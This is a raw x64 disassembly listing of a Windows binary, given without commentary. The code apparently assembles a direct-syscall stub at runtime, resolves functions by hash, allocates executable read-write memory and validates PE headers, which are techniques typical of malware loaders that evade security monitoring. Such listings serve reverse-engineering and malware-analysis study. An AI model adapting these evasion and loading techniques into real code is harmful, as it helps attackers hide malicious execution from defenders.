mov qword [rsp + 0x8ed0], rax
mov eax, dword [rsp + 0x1dc8]
mov dword [rsp + 0x1dd0], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xeda0]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8ed8], rax
lea r9, [rsp + 0x8ed0]
lea r8, [rsp + 0x1dd0]
lea rdx, [rsp + 0x125b8]
mov rcx, qword [rsp + 0x8ed8]
call fcn.140098320
lea rcx, [rsp + 0xeda0]
call fcn.1400a0f80
lea rcx, [rsp + 0x3df0]
call fcn.1400a2c10
mov qword [rsp + 0x8ee0], rax
mov rax, qword [rsp + 0x8ee0]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1dd8], eax
mov eax, dword [rsp + 0x1dd8]
mov dword [rsp + 0x643c], eax
lea rax, [rsp + 0x6440]
mov qword [rsp + 0x8ee8], rax
mov eax, dword [rsp + 0x643c]
mov dword [rsp + 0x1de0], eax
mov rax, qword [rsp + 0x8ee8]
add rax, 0x11
mov qword [rsp + 0x8ef0], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0x8ef0]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x1de0]
mov dword [rax], ecx
lea rax, [rsp + 0x6440]
mov qword [rsp + 0x5d8], rax
mov rax, qword [rsp + 0x5d8]
add rax, 0x10
mov qword [rsp + 0xdec0], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x8ef8], rax
mov qword [rsp + 0x5718], 0
mov qword [rsp + 0x8f00], 0xd
mov rax, qword [rsp + 0x8ef8]
mov qword [rsp + 0x8f08], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x8f00]
xor r8d, r8d
lea rdx, [rsp + 0x5718]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x8f08]
mov dword [rsp + 0x1de8], eax
cmp dword [rsp + 0x1de8], 0
jl 0x140130acb
mov rax, qword [rsp + 0x5718]
mov qword [rsp + 0x5720], rax
jmp 0x140130ad7
mov qword [rsp + 0x5720], 0
mov rax, qword [rsp + 0x5720]
mov qword [rsp + 0x8f10], rax
mov rax, qword [rsp + 0x5d8]
mov rcx, qword [rsp + 0x8f10]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x5d8]
cmp qword [rax + 8], 0
jne 0x140130b0c
jmp 0x140130b50
mov rax, qword [rsp + 0x5d8]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x5d8]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x5d8]
mov rcx, qword [rsp + 0x5d8]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6440]
mov qword [rsp + 0x8f68], rax
mov rax, qword [rsp + 0x8f18]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x8f20]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x8f28]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x8f30]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x8f38]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x8f40]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x8f48]
mov r8, qword [rsp + 0x8f50]
mov rdx, qword [rsp + 0x8f58]
mov rcx, qword [rsp + 0x8f60]
call qword [rsp + 0x8f68]
mov dword [rsp + 0x1dec], eax
lea rcx, [rsp + 0x6438]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x1dec]
mov dword [rsp + 0x1df0], eax
cmp dword [rsp + 0x1df0], 0
jge 0x140130c08
mov byte [rsp + 0x7e], 0
jmp 0x140130c0d
mov byte [rsp + 0x7e], 1
movzx eax, byte [rsp + 0x7e]
test eax, eax
je 0x140130c25
movzx eax, word [rsp + 0x12e20]
cmp eax, 0x5a4d
je 0x140130c32
mov dword [rsp + 0x74], 0
jmp 0x1401344d1
movsxd rax, dword [rsp + 0x12e5c]
mov rcx, qword [rsp + 0x5f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3e18], rax
lea rax, [rsp + 0x13e50]
mov rdi, rax
xor eax, eax
mov ecx, 0x108
rep stosb byte [rdi], al
lea rax, [rsp + 0x13e50]
mov qword [rsp + 0x5728], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x8fb0], rax
cmp qword [rsp + 0x5728], 0
je 0x140130ca4
cmp qword [rsp + 0x3e18], 0
je 0x140130ca4
xor eax, eax
cmp rax, 0x108
jne 0x140130cae
mov byte [rsp + 0x7f], 0
jmp 0x140131e07
lea rax, [rsp + 0xd8b8]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xd8b8], 0x33
mov rax, qword [rsp + 0x3e18]
mov qword [rsp + 0xd8c8], rax
mov rax, qword [rsp + 0x5728]
mov qword [rsp + 0xd8d0], rax
mov qword [rsp + 0xd8d8], 0x108
mov dword [rsp + 0x1e34], 0
mov qword [rsp + 0x8f78], 0
mov qword [rsp + 0x8f80], 0x28
lea rax, [rsp + 0xd8b8]
mov qword [rsp + 0x8f88], rax
lea rax, [rsp + 0x125c8]
mov qword [rsp + 0x8f90], rax
mov qword [rsp + 0x8f98], 0
mov qword [rsp + 0x8fa0], 0
mov qword [rsp + 0x8fa8], 0
mov dword [rsp + 0x1df4], 0x9363e455
mov eax, dword [rsp + 0x1df4]
mov dword [rsp + 0x1df8], eax
lea rcx, [rsp + 0x1df8]
call fcn.1400a2c20
mov dword [rsp + 0x6460], eax
mov dword [rsp + 0x6464], 0
lea rax, [rsp + 0x6468]
mov qword [rsp + 0x8f70], rax
mov dword [rsp + 0x1e30], 0x49
mov dword [rsp + 0x1e2c], 0x89
mov dword [rsp + 0x1e28], 0xca
mov dword [rsp + 0x1e24], 0x48
mov dword [rsp + 0x1e20], 0xc7
mov dword [rsp + 0x1e1c], 0xc0
mov dword [rsp + 0x1e18], 0x3f
mov dword [rsp + 0x1e14], 0x10
mov dword [rsp + 0x1e10], 0
mov dword [rsp + 0x1e0c], 0
mov dword [rsp + 0x1e08], 0xf
mov dword [rsp + 0x1e04], 5
mov dword [rsp + 0x1e00], 0xc3
lea rax, [rsp + 0x1e00]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x1e04]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x1e08]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x1e0c]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x1e10]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1e14]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x1e18]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x1e1c]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1e20]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1e24]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1e28]
lea r8, [rsp + 0x1e2c]
lea rdx, [rsp + 0x1e30]
mov rcx, qword [rsp + 0x8f70]
call fcn.14008f900
mov byte [rsp + 0x295], 1
mov byte [rsp + 0x296], 0
movsxd rax, dword [rsp + 0x1e34]
mov qword [rsp + 0x90e8], rax
mov byte [rsp + 0x297], 0
mov byte [rsp + 0x298], 0
mov rax, qword [rsp + 0x8f78]
mov qword [rsp + 0x90f0], rax
mov byte [rsp + 0x299], 0
mov byte [rsp + 0x29a], 1
mov rax, qword [rsp + 0x8f80]
mov qword [rsp + 0x90f8], rax
mov byte [rsp + 0x29b], 0
mov byte [rsp + 0x29c], 0
mov rax, qword [rsp + 0x8f88]
mov qword [rsp + 0x9100], rax
mov byte [rsp + 0x29d], 0
mov byte [rsp + 0x29e], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0x9108], rax
mov byte [rsp + 0x29f], 0
mov byte [rsp + 0x2a0], 0
mov rax, qword [rsp + 0x8f90]
mov qword [rsp + 0x9110], rax
mov byte [rsp + 0x2a1], 0
mov byte [rsp + 0x2a2], 0
mov rax, qword [rsp + 0x8f98]
mov qword [rsp + 0x9118], rax
mov byte [rsp + 0x2a3], 0
mov byte [rsp + 0x2a4], 0
mov rax, qword [rsp + 0x8fa0]
mov qword [rsp + 0x9120], rax
mov byte [rsp + 0x2a5], 0
mov byte [rsp + 0x2a6], 0
mov rax, qword [rsp + 0x8fa8]
mov qword [rsp + 0x9128], rax
mov byte [rsp + 0x2a7], 0
mov byte [rsp + 0x2a8], 0
mov rax, qword [rsp + 0x8fb0]
mov qword [rsp + 0x9130], rax
mov eax, dword [rsp + 0x6460]
mov dword [rsp + 0x1e38], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xedb0]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8fb8], rax
lea r8, [rsp + 0x1e38]
lea rdx, [rsp + 0x5730]
mov rcx, qword [rsp + 0x8fb8]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8fc0], rax
lea rdx, [rsp + 0xdec8]
mov rcx, qword [rsp + 0x8fc0]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x5730]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x1401310bf
mov qword [rsp + 0x5738], 0
jmp 0x1401310d8
lea rcx, [rsp + 0x5730]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x5738], rax
mov rax, qword [rsp + 0x5738]
mov qword [rsp + 0x8fc8], rax
lea rcx, [rsp + 0xedb0]
call fcn.1400a0f10
mov rax, qword [rsp + 0x8fc8]
mov qword [rsp + 0x5740], rax
cmp qword [rsp + 0x5740], 0
je 0x140131135
mov rax, qword [rsp + 0x5740]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1e40], eax
mov eax, dword [rsp + 0x1e40]
mov dword [rsp + 0x6464], eax
jmp 0x140131bc3
lea rax, [rsp + 0xd014]
mov qword [rsp + 0x8fd0], rax
xor edx, edx
mov rcx, qword [rsp + 0x8fd0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1e44], eax
lea rax, [rsp + 0xd018]
mov qword [rsp + 0x8fd8], rax
mov edx, dword [rsp + 0x6460]
mov rcx, qword [rsp + 0x8fd8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1e48], eax
mov eax, dword [rsp + 0x1e44]
mov dword [rsp + 0x9c8], eax
mov eax, dword [rsp + 0x1e48]
mov dword [rsp + 0x9e0], eax
xor edx, edx
lea rcx, [rsp + 0x1e4c]
call fcn.14009b2f0
lea rdx, [rsp + 0x1e4c]
lea rcx, [rsp + 0x9e0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x1401311e2
mov qword [rsp + 0x12b8], 0
jmp 0x140131ae1
mov byte [rsp + 0x2a9], 1
mov qword [rsp + 0x6e20], 0
mov qword [rsp + 0x6e28], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3df8], rax
mov eax, 1
test eax, eax
je 0x140131234
mov rax, qword [rsp + 0x3df8]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x5748], rax
jmp 0x140131247
mov rax, qword [rsp + 0x3df8]
mov rax, qword [rax]
mov qword [rsp + 0x5748], rax
mov rax, qword [rsp + 0x5748]
mov qword [rsp + 0x6e20], rax
mov rax, qword [rsp + 0x3df8]
mov qword [rsp + 0x6e28], rax
lea rax, [rsp + 0x6e20]
mov qword [rsp + 0x5750], rax
lea rdx, [rsp + 0x12b0]
mov rcx, qword [rsp + 0x5750]
call fcn.14018efb0
lea rdx, [rsp + 0x8fe0]
mov rcx, qword [rsp + 0x5750]
call fcn.140190a30
jmp 0x1401312b6
mov rax, qword [rsp + 0x12b0]
mov rax, qword [rax]
mov qword [rsp + 0x12b0], rax
mov rax, qword [rsp + 0x8fe0]
cmp qword [rsp + 0x12b0], rax
je 0x1401312d5
mov dword [rsp + 0x9c4], 1
jmp 0x1401312e0
mov dword [rsp + 0x9c4], 0
movzx eax, byte [rsp + 0x9c4]
test eax, eax
je 0x140131ad5
xor edx, edx
mov rcx, qword [rsp + 0x12b0]
call fcn.140096d90
mov qword [rsp + 0x8fe8], rax
lea rax, [rsp + 0x8fe8]
mov qword [rsp + 0x5758], rax
xor edx, edx
lea rcx, [rsp + 0x1e50]
call fcn.14009b2f0
lea rdx, [rsp + 0x1e50]
lea rcx, [rsp + 0x9c8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140131580
mov rax, qword [rsp + 0x5758]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x8ff0], rax
lea rdx, [rsp + 0x125d8]
mov rcx, qword [rsp + 0x8ff0]
call fcn.14019acf0
lea rcx, [rsp + 0xedc0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x9c8]
mov dword [rsp + 0x1e54], eax
lea rax, [rsp + 0xd250]
lea rcx, [rsp + 0xedc0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x1e54]
mov dword [rsp + 0x9d0], eax
lea rax, [rsp + 0x1e58]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1e58]
call fcn.14009b310
mov qword [rsp + 0x8ff8], rax
lea rax, [rsp + 0xedd0]
lea rcx, [rsp + 0xd250]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xede0]
lea rcx, [rsp + 0xedd0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xede0]
mov rcx, qword [rsp + 0x8ff8]
call fcn.140097890
mov dword [rsp + 0x1e60], eax
lea rcx, [rsp + 0xd250]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0x9000], rax
mov r9, qword [rsp + 0x9000]
xor r8d, r8d
lea rdx, [rsp + 0xedf0]
lea rcx, [rsp + 0xd250]
call fcn.14019ab70
lea rax, [rsp + 0x1e5c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1e5c]
call fcn.14009b310
mov qword [rsp + 0x9008], rax
lea rax, [rsp + 0xee00]
lea rcx, [rsp + 0xedf0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xee10]
lea rcx, [rsp + 0xee00]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xee10]
mov rcx, qword [rsp + 0x9008]
call fcn.140097890
mov dword [rsp + 0x1e68], eax
mov edx, dword [rsp + 0x1e60]
lea rcx, [rsp + 0x1e64]
call fcn.14009b2f0
lea rdx, [rsp + 0x1e64]
lea rcx, [rsp + 0x9d0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140131564
mov edx, dword [rsp + 0x1e68]
lea rcx, [rsp + 0x1e6c]
call fcn.14009b2f0
lea rdx, [rsp + 0x1e6c]
lea rcx, [rsp + 0x9d0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140131564
mov dword [rsp + 0x9d8], 1
jmp 0x14013156f
mov dword [rsp + 0x9d8], 0
movzx eax, byte [rsp + 0x9d8]
test eax, eax
je 0x140131580
jmp 0x1401312a3
mov rax, qword [rsp + 0x5758]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x5760], rax
mov rax, qword [rsp + 0x5760]
mov qword [rsp + 0x4418], rax
mov rax, qword [rsp + 0x5760]
mov qword [rsp + 0x9010], rax
mov rax, qword [rsp + 0x9010]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x9018], rax
mov rax, qword [rsp + 0x9018]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x9020], rax
mov eax, dword [rsp + 0x9020]
add rax, qword [rsp + 0x4418]
mov qword [rsp + 0x9028], rax
mov rax, qword [rsp + 0x9028]
mov qword [rsp + 0x4420], rax
lea rdx, [rsp + 0x9e0]
lea rcx, [rsp + 0xd01c]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11c50]
lea rcx, [rsp + 0x4418]
call fcn.140097040
lea rdx, [rsp + 0x13790]
lea rcx, [rsp + 0x4418]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11c50]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x14013166c
jmp 0x1401312a3
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x1401316ef
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11c60]
mov qword [rsp + 0x5768], rax
mov rcx, qword [rsp + 0x5768]
call fcn.140097960
mov qword [rsp + 0xded0], rax
mov rcx, qword [rsp + 0x5768]
call fcn.140097950
mov qword [rsp + 0x3e08], rax
mov rax, qword [rsp + 0x3e08]
mov rax, qword [rax]
mov qword [rsp + 0x5780], rax
mov rax, qword [rsp + 0x4418]
mov qword [rsp + 0x9030], rax
mov rax, qword [rsp + 0x9030]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x9038], rax
mov rax, qword [rsp + 0x9038]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x5770], rax
mov eax, dword [rsp + 0x5770]
add rax, qword [rsp + 0x4418]
mov qword [rsp + 0x5778], rax
mov eax, dword [rsp + 0x5774]
mov rcx, qword [rsp + 0x5778]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9040], rax
mov rax, qword [rsp + 0x5778]
cmp qword [rsp + 0x5780], rax
jb 0x1401317e1
mov rax, qword [rsp + 0x9040]
cmp qword [rsp + 0x5780], rax
jae 0x1401317e1
mov dword [rsp + 0x9e8], 1
jmp 0x1401317ec
mov dword [rsp + 0x9e8], 0
movzx eax, byte [rsp + 0x9e8]
mov byte [rsp + 0xe8], al
movzx eax, byte [rsp + 0xe8]
test eax, eax
je 0x140131abb
mov rax, qword [rsp + 0x3e08]
mov rax, qword [rax]
mov qword [rsp + 0x9048], rax
mov rax, qword [rsp + 0x9048]
mov qword [rsp + 0x9050], rax
lea rax, [rsp + 0x125e8]
mov qword [rsp + 0x9058], rax
mov rdx, qword [rsp + 0x9050]
mov rcx, qword [rsp + 0x9058]
call fcn.140095590
lea rcx, [rsp + 0x6e30]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6e30]
call fcn.140191090
mov qword [rsp + 0x3e00], rax
cmp qword [rsp + 0x3e00], 0xffffffffffffffff
je 0x1401318f6
mov r9, qword [rsp + 0x3e00]
xor r8d, r8d
lea rdx, [rsp + 0xee30]
lea rcx, [rsp + 0x6e30]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3e00]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xee20]
lea rcx, [rsp + 0x6e30]
call fcn.14019aaa0
lea r8, [rsp + 0xee20]
lea rdx, [rsp + 0xee30]
lea rcx, [rsp + 0x110f0]
call fcn.14008f7e0
jmp 0x140131931
lea rax, [rsp + 0x6e30]
mov qword [rsp + 0x9060], rax
lea rcx, [rsp + 0xee40]
call fcn.140099fb0
lea r8, [rsp + 0xee40]
mov rdx, qword [rsp + 0x9060]
lea rcx, [rsp + 0x110f0]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x110f0]
call fcn.140097960
mov qword [rsp + 0x9068], rax
lea rcx, [rsp + 0x110f0]
call fcn.140097950
mov qword [rsp + 0x9080], rax
lea rax, [rsp + 0xd020]
mov qword [rsp + 0x9078], rax
lea rax, [rsp + 0x1e70]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1e70]
call fcn.14009b310
mov qword [rsp + 0x9070], rax
lea rax, [rsp + 0xee50]
mov rdi, rax
mov rsi, qword [rsp + 0x9068]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xee60]
lea rcx, [rsp + 0xee50]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xee60]
mov rcx, qword [rsp + 0x9070]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x9078]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1e78], eax
lea rax, [rsp + 0xd024]
mov qword [rsp + 0x9090], rax
lea rax, [rsp + 0x1e74]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1e74]
call fcn.14009b310
mov qword [rsp + 0x9088], rax
lea rax, [rsp + 0xee70]
mov rdi, rax
mov rsi, qword [rsp + 0x9080]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xee80]
lea rcx, [rsp + 0xee70]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xee80]
mov rcx, qword [rsp + 0x9088]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x9090]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1e7c], eax
mov r8d, dword [rsp + 0x1e78]
mov edx, dword [rsp + 0x1e7c]
lea rcx, [rsp + 0x3e10]
call fcn.140191150
mov qword [rsp + 0x12b8], rax
jmp 0x140131ae1
mov rax, qword [rsp + 0x3e08]
mov rax, qword [rax]
mov qword [rsp + 0x12b8], rax
jmp 0x140131ae1
mov qword [rsp + 0x12b8], 0
mov rax, qword [rsp + 0x12b8]
mov qword [rsp + 0x3e10], rax
lea rcx, [rsp + 0x3e10]
call fcn.1400a2c10
mov qword [rsp + 0x9098], rax
mov eax, dword [rsp + 0x6460]
mov dword [rsp + 0x1e80], eax
mov rax, qword [rsp + 0x9098]
mov qword [rsp + 0x90a0], rax
mov eax, dword [rsp + 0x1e80]
mov dword [rsp + 0x1e88], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xee90]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x90a8], rax
lea r9, [rsp + 0x90a0]
lea r8, [rsp + 0x1e88]
lea rdx, [rsp + 0x125f8]
mov rcx, qword [rsp + 0x90a8]
call fcn.140098320
lea rcx, [rsp + 0xee90]
call fcn.1400a0f80
lea rcx, [rsp + 0x3e10]
call fcn.1400a2c10
mov qword [rsp + 0x90b0], rax
mov rax, qword [rsp + 0x90b0]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1e90], eax
mov eax, dword [rsp + 0x1e90]
mov dword [rsp + 0x6464], eax
lea rax, [rsp + 0x6468]
mov qword [rsp + 0x90b8], rax
mov eax, dword [rsp + 0x6464]
mov dword [rsp + 0x1e98], eax
mov rax, qword [rsp + 0x90b8]
add rax, 0x11
mov qword [rsp + 0x90c0], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0x90c0]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x1e98]
mov dword [rax], ecx
lea rax, [rsp + 0x6468]
mov qword [rsp + 0x5e0], rax
mov rax, qword [rsp + 0x5e0]
add rax, 0x10
mov qword [rsp + 0xded8], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x90c8], rax
mov qword [rsp + 0x5788], 0
mov qword [rsp + 0x90d0], 0xd
mov rax, qword [rsp + 0x90c8]
mov qword [rsp + 0x90d8], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x90d0]
xor r8d, r8d
lea rdx, [rsp + 0x5788]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x90d8]
mov dword [rsp + 0x1ea0], eax
cmp dword [rsp + 0x1ea0], 0
jl 0x140131cc5
mov rax, qword [rsp + 0x5788]
mov qword [rsp + 0x5790], rax
jmp 0x140131cd1
mov qword [rsp + 0x5790], 0
mov rax, qword [rsp + 0x5790]
mov qword [rsp + 0x90e0], rax
mov rax, qword [rsp + 0x5e0]
mov rcx, qword [rsp + 0x90e0]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x5e0]
cmp qword [rax + 8], 0
jne 0x140131d06
jmp 0x140131d4a
mov rax, qword [rsp + 0x5e0]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x5e0]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x5e0]
mov rcx, qword [rsp + 0x5e0]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6468]
mov qword [rsp + 0x9138], rax
mov rax, qword [rsp + 0x90e8]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x90f0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x90f8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x9100]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x9108]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x9110]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x9118]
mov r8, qword [rsp + 0x9120]
mov rdx, qword [rsp + 0x9128]
mov rcx, qword [rsp + 0x9130]
call qword [rsp + 0x9138]
mov dword [rsp + 0x1ea4], eax
lea rcx, [rsp + 0x6460]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x1ea4]
mov dword [rsp + 0x1ea8], eax
cmp dword [rsp + 0x1ea8], 0
jge 0x140131e02
mov byte [rsp + 0x7f], 0
jmp 0x140131e07
mov byte [rsp + 0x7f], 1
movzx eax, byte [rsp + 0x7f]
test eax, eax
je 0x140131e1d
cmp dword [rsp + 0x13e50], 0x4550
je 0x140131e2a
mov dword [rsp + 0x74], 0
jmp 0x1401344d1
lea rax, [rsp + 0x3e40]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea rax, [rsp + 0x3e40]
mov qword [rsp + 0x57a0], rax
mov rax, qword [rsp + 0x3e18]
add rax, 0xe8
mov qword [rsp + 0x5798], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x9180], rax
cmp qword [rsp + 0x57a0], 0
je 0x140131e92
cmp qword [rsp + 0x5798], 0
je 0x140131e92
xor eax, eax
cmp rax, 8
jne 0x140131e9f
mov byte [rsp + 0x80], 0
jmp 0x140132ffe
lea rax, [rsp + 0xd8e0]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xd8e0], 0x33
mov rax, qword [rsp + 0x5798]
mov qword [rsp + 0xd8f0], rax
mov rax, qword [rsp + 0x57a0]
mov qword [rsp + 0xd8f8], rax
mov qword [rsp + 0xd900], 8
mov dword [rsp + 0x1eec], 0
mov qword [rsp + 0x9148], 0
mov qword [rsp + 0x9150], 0x28
lea rax, [rsp + 0xd8e0]
mov qword [rsp + 0x9158], rax
lea rax, [rsp + 0x12608]
mov qword [rsp + 0x9160], rax
mov qword [rsp + 0x9168], 0
mov qword [rsp + 0x9170], 0
mov qword [rsp + 0x9178], 0
mov dword [rsp + 0x1eac], 0x9363e455
mov eax, dword [rsp + 0x1eac]
mov dword [rsp + 0x1eb0], eax
lea rcx, [rsp + 0x1eb0]
call fcn.1400a2c20
mov dword [rsp + 0x6488], eax
mov dword [rsp + 0x648c], 0
lea rax, [rsp + 0x6490]
mov qword [rsp + 0x9140], rax
mov dword [rsp + 0x1ee8], 0x49
mov dword [rsp + 0x1ee4], 0x89
mov dword [rsp + 0x1ee0], 0xca
mov dword [rsp + 0x1edc], 0x48
mov dword [rsp + 0x1ed8], 0xc7
mov dword [rsp + 0x1ed4], 0xc0
mov dword [rsp + 0x1ed0], 0x3f
mov dword [rsp + 0x1ecc], 0x10
mov dword [rsp + 0x1ec8], 0
mov dword [rsp + 0x1ec4], 0
mov dword [rsp + 0x1ec0], 0xf
mov dword [rsp + 0x1ebc], 5
mov dword [rsp + 0x1eb8], 0xc3
lea rax, [rsp + 0x1eb8]
